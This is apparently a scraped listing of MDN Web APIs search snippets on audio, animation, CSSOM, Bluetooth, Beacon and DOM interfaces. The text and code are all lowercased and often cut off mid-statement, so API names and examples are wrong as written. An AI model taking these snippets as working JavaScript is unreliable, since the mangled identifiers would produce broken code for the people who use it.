... return value undefined example in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to play backwards, causing her to get smaller.
... it is done by setting alicechange's animation.playbackrate to -1 like so: var shrinkalice = function() { // play alice's animation in reverse alicechange.playbackrate = -1; alicechange.play(); // play the bottle's animation drinking.play() } but it could also have been done by calling reverse() on alicechange like so: var shrinkalice = function() { // play alice's animation in reverse alicechange.reverse(); // play the bottle's animation drinking.play() } specifications specification status comment web animationsthe definition of 'reverse()' in that specification.
Animation.updatePlaybackRate() - Web APIs
in some cases, an animation may run on a separate thread or process and will continue updating even while long-running javascript delays the main thread.
... in such a case, setting the playbackrate on the animation directly may cause the animation's playback position to jump since its playback position on the main thread may have drifted from the playback position where it is currently running.
...after calling updateplaybackrate() the animation's playbackrate is not immediately updated.
... examples a speed selector component would benefit from smooth updating of updateplaybackrate(), as demonstrated below: speedselector.addeventlistener('input', evt => { cartoon.updateplaybackrate(parsefloat(evt.target.value)); cartoon.ready.then(() => { console.log(`playback rate set to ${cartoon.playbackrate}`); }); }); specifications specification status comment web animationsthe definition of 'updateplaybackrate()' in that specification.
AnimationEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><li...
...for an animationstart event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
... animationevent.initanimationevent() initializes a animationevent created using the deprecated document.createevent("animationevent") method.
... specifications specification status comment css animationsthe definition of 'animationevent' in that specification.
AudioBuffer - Web APIs
once put into an audiobuffer, the audio can then be played by being passed into an audiobuffersourcenode.
... objects of these types are designed to hold small audio snippets, typically less than 45 s.
...you can find the full source code at our webaudio-examples repository; a running live version is also available.
...// this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification.
AudioBufferSourceNode.loop - Web APIs
the loop property of the audiobuffersourcenode interface is a boolean indicating if the audio asset must be replayed when the end of the audiobuffer is reached.
... when looping is enabled, the sound begins playing at the time specified as the start point when start() is called.
... you can run the full example live (or view the source.) function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; s...
... source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } specification specification status comment web audio apithe definition of 'loop' in that specification.
AudioBufferSourceNode.loopStart - Web APIs
the loopstart property of the audiobuffersourcenode interface is a floating-point value indicating, in seconds, where in the audiobuffer the restart of the play must happen.
... syntax audiobuffersourcenode.loopstart = startoffsetinseconds; startoffsetinseconds = audiobuffersourcenode.loopstart; value a floating-point number indicating the offset, in seconds, into the audio buffer at which each loop should begin during playback.
... when the audio is played to the end, it loops, but you can control how long the loops last by altering loopstart and loopend.
... loopstartcontrol.oninput = function() { source.loopstart = loopstartcontrol.value; loopstartvalue.innerhtml = loopstartcontrol.value; } loopendcontrol.oninput = function() { source.loopend = loopendcontrol.value; loopendvalue.innerhtml = loopendcontrol.value; } specifications specification status comment web audio apithe definition of 'loopstart' in that specification.
AudioBufferSourceNode.playbackRate - Web APIs
a value of 1.0 indicates it should play at the same speed as its sampling rate, values less than 1.0 cause the sound to play more slowly, while values greater than 1.0 result in audio playing faster than normal.
... syntax audiobuffersourcenode.playbackrate.value = playbackrateproportion; value an audioparam whose value is a floating-point value indicating the playback rate of the audio as a decimal proportion of the original sampling rate.
... you can run the example live (or view the source.) play the song and alter the playback rate for some fun results.
....start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); playbackcontrol.setattribute('disabled', 'disabled'); } playbackcontrol.oninput = function() { source.playbackrate.value = playbackcontrol.value; playbackvalue.innerhtml = playbackcontrol.value; } specification specification status comment web audio apithe definition of 'playbackrate' in that specification.
AudioContext.resume() - Web APIs
this method will cause an invalid_state_err exception to be thrown if called on an offlineaudiocontext.
... example the following snippet is taken from our audiocontext states demo (see it running live.) when the suspend/resume button is clicked, the audiocontext.state is queried — if it is running, suspend() is called; if it is suspended, resume() is called.
... in each case, the text label of the button is updated as appropriate once the promise resolves.
... susresbtn.onclick = function() { if(audioctx.state === 'running') { audioctx.suspend().then(function() { susresbtn.textcontent = 'resume context'; }); } else if(audioctx.state === 'suspended') { audioctx.resume().then(function() { susresbtn.textcontent = 'suspend context'; }); } } specifications specification status comment web audio apithe definition of 'resume()' in that specification.
AudioContextOptions.sampleRate - Web APIs
the audiocontextoptions dictionary (used when instantiating an audiocontext) may contain a property named samplerate, which indicates the sample rate to use for the new context.
... the value must be a floating-point value indicating the sample rate, in samples per second, for which to configure the new context; additionally, the value must be one which is supported by audiobuffer.samplerate.
...this value should typically be between 8,000 hz and 96,000 hz; the default will vary depending on the output device, but the sample rate 44,100 hz is the most common.
... specifications specification status comment web audio apithe definition of 'audiocontextoptions.samplerate' in that specification.
AudioDestinationNode.maxChannelCount - Web APIs
the maxchannelcount property of the audiodestinationnode interface is an unsigned long defining the maximum amount of channels that the physical device can handle.
... the audionode.channelcount property can be set between 0 and this value (both included).
... if maxchannelcount is 0, like in offlineaudiocontext, the channel count cannot be changed.
... specifications specification status comment web audio apithe definition of 'maxchannelcount' in that specification.
AudioProcessingEvent - Web APIs
note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and is soon to be replaced by audioworklet.
... cancelable read only boolean is it possible to cancel the event?
...for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
.../ give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] = i...
AudioScheduledSourceNode: ended event - Web APIs
bubbles no cancelable no interface event event handler property audioscheduledsourcenode.onended usage notes this event occurs when a audioscheduledsourcenode has stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played.
... examples in this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing: node.addeventlistener('ended', () => { document.getelementbyid("startbutton").disabled = false; }) you can also set up the event handler using the audioscheduledsourcenode.onended property: node.onended = function() { document.getelementbyid("startbutton").disabled = false; } for an example of the ended event in use, see our audio-buffer example on github.
... specifications specification status comment web audio apithe definition of 'onended' in that specification.
... working draft initial specification.
AudioScheduledSourceNode.stop() - Web APIs
each time you call stop() on the same node, the specified time replaces any previously-scheduled stop time that hasn't occurred yet.
...omitting this parameter, specifying a value of 0, or passing a negative value causes the sound to stop playback immediately.
... return value undefined exceptions invalidstatenode the node has not been started by calling start().
...*/ osc.start(); osc.stop(context.currenttime + 1); specifications specification status comment web audio apithe definition of 'stop()' in that specification.
AudioTrack.kind - Web APIs
WebAPIAudioTrackkind
the kind property contains a string indicating the category of audio contained in the audiotrack.
... the kind can be used to determine the scenarios in which specific tracks should be enabled or disabled.
... specifications specification status comment html living standardthe definition of 'audiotrack: kind' in that specification.
... living standard html5the definition of 'audiotrack.kind' in that specification.
AudioWorkletGlobalScope - Web APIs
the class can then be used by creating an audioworkletnode, providing its registered name.
... // test-processor.js class testprocessor extends audioworkletprocessor { constructor () { super() // current sample-frame and time at the moment of instantiation // to see values change, you can put these two lines in process method console.log(currentframe) console.log(currenttime) } // the process method is required - simply output silence, // which the outputs are already filled with process (inputs, outputs, parameters) { return true } } // the sample rate is not going to change ever, // because it's a read-only property of a baseaudiocontext // and is set onl...
...y during its instantiation console.log(samplerate) // you can declare any variables and use them in your processors // for example it may be an arraybuffer with a wavetable const usefulvariable = 42 console.log(usefulvariable) registerprocessor('test-processor', testprocessor) next, in our main scripts file we'll load the processor, create an instance of audioworkletnode — passing the name of the processor to it — and connect the node to an audio graph.
... we should see the output of console.log calls in the console: const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const testnode = new audioworkletnode(audiocontext, 'test-processor') testnode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletglobalscope' in that specification.
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
the property is not a part of the audioworkletprocessor interface, but, if defined, it is called internally by the audioworkletprocessor constructor to create a list of custom audioparam objects in the parameters property of the associated audioworkletnode.
...under this name the audioparam will be available in the parameters property of the node, and under this name the audioworkletprocessor.process method will acquire the calculated values of this audioparam.
...here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well).
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'parameterdescriptors' in that specification.
BaseAudioContext.createDynamicsCompressor() - Web APIs
the createdynamicscompressor() method of the baseaudiocontext interface is used to create a dynamicscompressornode, which can be used to apply compression to an audio signal.
...overall, a louder, richer, and fuller sound can be achieved.
... it is especially important in games and musical applications where large numbers of individual sounds are played simultaneously, where you want to control the overall signal level and help avoid clipping (distorting) of the audio output.
...mpression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'createdynamicscompressor()' in that specification.
BatteryManager - Web APIs
the navigator.getbattery() method returns a battery promise that is resolved in a batterymanager interface which you can use to interact with the battery status api.
... properties batterymanager.charging read only a boolean value indicating whether or not the battery is currently being charged.
... batterymanager.level read only a number representing the system's battery charge level scaled to a value between 0.0 and 1.0.
... void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) specifications specification status comment battery status api candidate recommendation initial definition ...
Battery Status API - Web APIs
this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to prevent data loss.
... the battery status api extends window.navigator with a navigator.getbattery() method returning a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
...arginginfo(){ console.log("battery charging time: " + battery.chargingtime + " seconds"); } battery.addeventlistener('dischargingtimechange', function(){ updatedischarginginfo(); }); function updatedischarginginfo(){ console.log("battery discharging time: " + battery.dischargingtime + " seconds"); } }); see also the example in the specification.
... specifications specification status comment battery status api candidate recommendation initial definition.
Using the Beacon API - Web APIs
the handler calls sendbeacon() with the current url.
... window.onload = window.onunload = function analytics(event) { if (!navigator.sendbeacon) return; var url = "https://example.com/analytics"; // create the data to send var data = "state=" + event.type + "&location=" + location.href; // send the beacon var status = navigator.sendbeacon(url, data); // log the data and result console.log("sendbeacon: url = ", url, "; data = ", data, "; status = ", status); }; the following example creates a submit handler and when that event is fired, the handler calls sendbeacon().
... window.onsubmit = function send_analytics() { var data = json.stringify({ location: location.href, time: date() }); navigator.sendbeacon('/analytics', data); }; workernavigator.sendbeacon() the beacon api's workernavigator.sendbeacon() method works identically to the usual method, but is accessible from worker global scope.
..."success" : "fail"); } else { postmessage("worker: self.navigator.sendbeacon is unsupported"); } } see also beacon api (overview) beacon standard beacon caniuse data ...
BiquadFilterNode.getFrequencyResponse() - Web APIs
the getfrequencyresponse() method of the biquadfilternode interface takes the current filtering algorithm's settings and calculates the frequency response for frequencies specified in a specified array of frequencies.
... the two output arrays, magresponseoutput and phaseresponseoutput, must be created before calling this method; they must be the same size as the array of input frequency values (frequencyarray).
... function calcfrequencyresponse() { biquadfilter.getfrequencyresponse(myfrequencyarray,magresponseoutput,phaseresponseoutput); for(i = 0; i <= myfrequencyarray.length-1;i++){ var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + myfrequencyarray[i] + 'hz</strong>: magnitude ' + magresponseoutput[i] + ', phase ' + phaseresponseoutput[i] + ' radians.'; freqresponseoutpu...
...t.appendchild(listitem); } } calcfrequencyresponse(); specifications specification status comment web audio apithe definition of 'getfrequencyresponse()' in that specification.
BiquadFilterNode.type - Web APIs
indicates how peaked the frequency is around the cutoff.
... indicates how peaked the frequency is around the cutoff.
... notch standard notch filter, also called a band-stop or band-rejection filter.
...odes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'type' in that specification.
BlobEvent - Web APIs
WebAPIBlobEvent
these blobs are typically, but not necessarily, associated with media content.
...the event was fired on the eventtarget because of something happening on that specific blob.
... blobevent.timecode read only a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data and the timestamp of the first chunk in the first blobevent produced by this recorder.
... specifications specification status comment mediastream recordingthe definition of 'blobevent' in that specification.
BluetoothDevice - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 ...
... bluetoothdevice.paired read only a boolean value indicating whether the device is paired with the system.
... methods bluetoothdevice.watchadvertisments() a promise that resolves to undefined or is rejected with an error if advetisments can’t shown for any reason.
... specifications specification status comment web bluetooththe definition of 'bluetoothdevice' in that specification.
BluetoothRemoteGATTCharacteristic.value - Web APIs
the bluetoothremotegattcharacteristic.value read-only property returns currently cached characteristic value.
... this value gets updated when the value of the characteristic is read or updated via a notification or indication.
... syntax var value = bluetoothremotegattcharacteristic.value returns the currently cached characteristic value.
... specifications specification status comment web bluetooththe definition of 'value' in that specification.
BluetoothRemoteGATTServer - Web APIs
it can be false while the user agent is physically connected.
... methods bluetoothremotegattserver.connect() causes the script execution environment to connect to this.device.
... bluetoothremotegattserver.disconnect() causes the script execution environment to disconnect from this.device.
... specifications specification status comment web bluetooththe definition of 'bluetoothremotegattserver' in that specification.
BudgetService.getBudget() - Web APIs
the getbudget() property of the budgetservice interface returns a promise that resolves to an array of budgetstate objects indicating the expected state of the budget at times in the future.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetbudget experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
...expect poor cross-browser support.deprecated.
... not for use in new websites.deprecated.
BudgetService.getCost() - Web APIs
the getcost() property of the budgetservice interface returns a promise that resolves to a double indicating the worst-case background operation cost of the provided background operation.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetcost experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
...expect poor cross-browser support.deprecated.
... not for use in new websites.deprecated.
BudgetService.reserve() - Web APIs
the reserve() property of the budgetservice interface returns a promise that resolves to a boolean indicating whether the requested budget operation can be reserved.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreserve experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
...expect poor cross-browser support.deprecated.
... not for use in new websites.deprecated.
CSS.registerProperty() - Web APIs
syntax css.registerproperty(propertydefinition); parameters a propertydefinition dictionary object, which can contain the following members: name a domstring indicating the name of the property being defined.
... exceptions invalidmodificationerror the given name has already been registered.
...we can now use that property to transition a gradient on hover or focus.
...f, var(--my-color)); transition: --my-color 1s ease-in-out; } .registered:hover, .registered:focus { --my-color: #b4d455; } .unregistered { --unregistered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } button { font-size: 3vw; } we can add these styles to some buttons: <button class="registered">background registered</button> <button class="unregistered">background not registered</button> specifications specification status comment css properties and values api level 1the definition of 'the registerproperty() function' in that specification.
CSSMathValue.operator - Web APIs
the cssmathvalue.operator read-only property of the cssmathvalue interface indicates the operator that the current subtype represents.
... interface value cssmathsum "sum" cssmathproduct "product" cssmathmin "min" cssmathmax "max" cssmathclamp "clamp" cssmathnegate "negate" cssmathinvert "invert" examples we create an element with a width determined using a calc() function, then console.log() the operator.
... <div>my width has a <code>calc()</code> function</div> we assign a width with a calculation div { width: calc(50% - 0.5vw); } we add the javascript const stylemap = document.queryselector('div').computedstylemap(); console.log( stylemap.get('width') ); // cssmathsum {values: cssnumericarray, operator: "sum"} console.log( stylemap.get('width').values ); // cssnumericarray {0: cssunitvalue, 1: cssmathnegate, length: 2} console.log( stylemap.get('width').operator ); // 'sum' console.log( stylemap.get('width').values[1].operator ) // 'negate' the cssmathvalue.operator returns sum for the equation and negate for the operator on the second value.
... specifications specification status comment css typed om level 1the definition of 'cssmathvalue.operator' in that specification.
CSSMathValue - Web APIs
cssmathinvert cssmathmax cssmathmin cssmathnegate cssmathproduct cssmathsum properties cssmathvalue.operator indicates the operator that the current subtype represents.
... examples we create an element with a width determined using a calc() function, then console.log() the operator.
... <div>has width</div> we assign a width with a calculation div { width: calc(30% - 20px); } we add the javascript const stylemap = document.queryselector('div').computedstylemap(); console.log( stylemap.get('width') ); // cssmathsum {values: cssnumericarray, operator: "sum"} console.log( stylemap.get('width').operator ); // 'sum' console.log( stylemap.get('width').values[1].value ); // -20 the cssmathvalue.operator returns 'sum' because stylemap.get('width').values[1].value ); is -20: adding a negative number.
... specifications specification status comment css typed om level 1the definition of 'cssmathvalue' in that specification.
CSSMediaRule - Web APIs
specifications specification status comment css conditional rules module level 3the definition of 'cssmediarule' in that specification.
... candidate recommendation make it derived from the cssconditionrule.
... css object model (cssom)the definition of 'cssmediarule' in that specification.
... working draft no changes from document object model (dom) level 2 style specification document object model (dom) level 2 style specificationthe definition of 'cssmediarule' in that specification.
CSSOMString - Web APIs
cssomstring is used to denote string data in cssom specifications and can refer to either domstring or usvstring.
... when a specification says cssomstring, it depends on the browser vendors to choose whether to use domstring or usvstring.
... while browser implementations that use utf-8 internally to represent strings in memory can use usvstring when the specification says cssomstring, implementations that already represent strings as 16-bit sequences might choose to use domstring instead.
... implementation differences browser domstring or usvstring for cssomstring firefox (gecko) usvstring chrome (blink) usvstring safari (webkit) usvstring edge (edgehtml) - opera (blink) usvstring specifications specification status comment css object model (cssom)the definition of 'cssomstring' in that specification.
CSSPrimitiveValue.setStringValue() - Web APIs
if the property attached to this value can't accept the specified unit or the string value, the value will be unchanged and a domexception will be raised.
... exceptions type description domexception an invalid_access_err is raised if the css value doesn't contain a string value or if the string value can't be converted into the specified unit.
... an no_modification_allowed_err is raised if this property is read-only.
... specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.setstringvalue' in that specification.
CSSStyleDeclaration.removeProperty() - Web APIs
note that multi-word property names are hyphenated and not camel-cased.
... exceptions domexception no_modification_allowed_err: if the property or declaration block is read only.
... example the following javascript code removes the background-color css property from a selector rule: var declaration = document.stylesheets[0].rules[0].style; var oldvalue = declaration.removeproperty('background-color'); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.removeproperty()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration - Web APIs
a cssstyledeclaration object can be exposed using three different apis: via htmlelement.style, which deals with the inline styles of a single element (e.g., <div style="...">).
... cssstyledeclaration named properties dashed and camel-cased attributes for all supported css properties.
... example var styleobj = document.stylesheets[0].cssrules[0].style; console.log(styleobj.csstext); for (var i = styleobj.length; i--;) { var namestring = styleobj[i]; styleobj.removeproperty(namestring); } console.log(styleobj.csstext); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration' in that specification.
... document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleRule.selectorText - Web APIs
this is readonly in some browsers; to set stylesheet rules dynamically cross-browser, see using dynamic styling information.
... syntax string = cssrule.selectortext example // for cssrule: body { background-color: darkblue; } var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].selectortext); // body notes the implementation may have stripped out insignificant whitespace while parsing the selector.
... if set to a selector string which cannot be parsed, a syntaxerror is thrown.
... specifications specification status comment css object model (cssom)the definition of 'cssstylerule.selectortext' in that specification.
CSSUnparsedValue.forEach() - Web APIs
syntax cssunparsedvalue.foreach(function callback(currentvalue[, index[, array]]) { // your iterator }[, thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... arrayoptional the cssunparsedvalue that foreach() is being called on.
... thisarg optional value to use as this (i.e the reference object) when executing callback.
... specifications specification status comment css typed om level 1the definition of 'foreach()' in that specification.
ChannelSplitterNode - Web APIs
if your channelsplitternode always has one single input, the amount of outputs is defined by a parameter on its constructor and the call to audiocontext.createchannelsplitter().
... in the case that no value is given, it will default to 6.
... gainnode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createmediastreamdestination(); // because we have used a channelmergernode, we now have a stereo // mediastream we can use to pipe the web audio graph to webrtc, // mediarecorder, etc.
... merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'channelsplitternode' in that specification.
ChildNode.after() - Web APIs
WebAPIChildNodeafter
exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy.
... with(node) { after("foo"); } // referenceerror: after is not defined polyfill you can polyfill the after() method in internet explorer 9 and higher with the following code: // from: https://github.com/jserz/js_piece/blob/master/dom/childnode/after()/after().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('after')) { return; } object.defineproperty(item, 'after', { configurable: true, enumerable: true, writable: tru...
...e, value: function after() { var argarr = array.prototype.slice.call(arguments), docfrag = document.createdocumentfragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceof node; docfrag.appendchild(isnode ?
... ++i; }; }; }; }; })(element); /* minified: (function(x){ var o=x.prototype; o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentnode,n=node,s=string,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextsibling )!==null)?p.insertbefore(e,t):p.appendchild(e)):p.appendchild(d.createtextnode(s(e)));++i;}}}); }(element)); */ specification specification status comment domthe definition of 'childnode.after()' in that specification.
ChildNode.before() - Web APIs
WebAPIChildNodebefore
exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy.
... with(node) { before("foo"); } // referenceerror: before is not defined polyfill you can polyfill the before() method in internet explorer 9 and higher with the following code: // from: https://github.com/jserz/js_piece/blob/master/dom/childnode/before()/before().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('before')) { return; } object.defineproperty(item, 'before', { configurable: true, enumerable: true, writable...
...: true, value: function before() { var argarr = array.prototype.slice.call(arguments), docfrag = document.createdocumentfragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceof node; docfrag.appendchild(isnode ?
... argitem : document.createtextnode(string(argitem))); }); this.parentnode.insertbefore(docfrag, this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specification specification status comment domthe definition of 'childnode.before()' in that specification.
CompositionEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1=...
... compositionevent.locale read only returns the locale of current input method (for example, the keyboard layout locale if the composition is associated with ime).
... specifications specification status comment ui eventsthe definition of 'compositionevent' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'compositionevent' in that specification.
Console.time() - Web APIs
WebAPIConsoletime
starts a timer you can use to track how long an operation takes.
...when you call console.timeend() with the same name, the browser will output the time, in milliseconds, that elapsed since the timer was started.
...this will identify the timer; use the same name when calling console.timeend() to stop the timer and get the time output to the console.
... specifications specification status comment console apithe definition of 'console.time()' in that specification.
Console.timeEnd() - Web APIs
WebAPIConsoletimeEnd
stops a timer that was previously started by calling console.time().
...once stopped, the elapsed time is automatically displayed in the web console along with an indicator that the time has ended.
...in addition, the call to timeend() has the additional information, "timer ended" to make it obvious that the timer is no longer tracking time.
... specifications specification status comment console apithe definition of 'console.timeend()' in that specification.
ContentIndex.delete() - Web APIs
calling delete() only affects the index.
... it does not delete anything from the cache.
... async function unregistercontent(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } the delete method can also be used within the service worker scope.
... self.registration.index.delete('my-id'); specifications specification status comment unknownthe definition of 'delete' in that specification.
CredentialsContainer.create() - Web APIs
the create() method of the credentialscontainer interface returns a promise that resolves with a new credential instance based on the provided options, or null if no credential object can be created.
...calls to it within an <iframe> element will resolve without effect.
... specifications specification status comment credential management level 1the definition of 'get()' in that specification.
... web authentication: an api for accessing public key credentials level 1 recommendation initial definition.
CredentialsContainer.preventSilentAccess() - Web APIs
for example, you might call this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit.
...this method is typically called after a user signs out of a website, ensuring this user's login information is not automatically passed on the next site visit.
... earlier versions of the spec called this method requireusermediation().
... specifications specification status comment credential management level 1the definition of 'preventsilentaccess()' in that specification.
CryptoKeyPair - Web APIs
a cryptokeypair object can be obtained using subtlecrypto.generatekey(), when the selected algorithm is one of the asymmetric algorithms: rsassa-pkcs1-v1_5, rsa-pss, rsa-oaep, ecdsa, or ecdh.
...for signing and verification algorithms it is used to sign.
...for signing and verification algorithms it is used to verify signatures.
...for example: subtlecrypto.generatekey() subtlecrypto.derivekey() subtlecrypto.importkey() subtlecrypto.exportkey() subtlecrypto.wrapkey() subtlecrypto.unwrapkey() subtlecrypto.encrypt() subtlecrypto.decrypt() subtlecrypto.sign() subtlecrypto.verify() specifications specification status comment web cryptography apithe definition of 'cryptokeypair' in that specification.
DOMError - Web APIs
WebAPIDOMError
nomodificationallowederror the object can not be modified.
... notfounderror the object can not be found here.
... invalidmodificationerror the object can not be modified in this way.
... datacloneerror the object can not be cloned.
DOMImplementation.createDocument() - Web APIs
qualifiednamestr is a domstring containing the qualified name, that is an optional prefix and colon plus the local root element name, of the document to be created.
... example var doc = document.implementation.createdocument ('http://www.w3.org/1999/xhtml', 'html', null); var body = document.createelementns('http://www.w3.org/1999/xhtml', 'body'); body.setattribute('id', 'abc'); doc.documentelement.appendchild(body); alert(doc.getelementbyid('abc')); // [object htmlbodyelement] specifications specification status comment domthe definition of 'domimplementation.createdocument' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'domimplementation.createdocument' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocument' in that specification.
DOMImplementation.createDocumentType() - Web APIs
the domimplementation.createdocumenttype() method returns a documenttype object which can either be used with domimplementation.createdocument upon document creation or can be put into the document via methods like node.insertbefore() or node.replacechild().
... example var dt = document.implementation.createdocumenttype('svg:svg', '-//w3c//dtd svg 1.1//en', 'http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd'); var d = document.implementation.createdocument('http://www.w3.org/2000/svg', 'svg:svg', dt); alert(d.doctype.publicid); // -//w3c//dtd svg 1.1//en specifications specification status comment domthe definition of 'domimplementation.createdocumenttype' in that specification.
... living standard no change from document object model (dom) level 3 core specification document object model (dom) level 3 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
DOMObject - Web APIs
WebAPIDOMObject
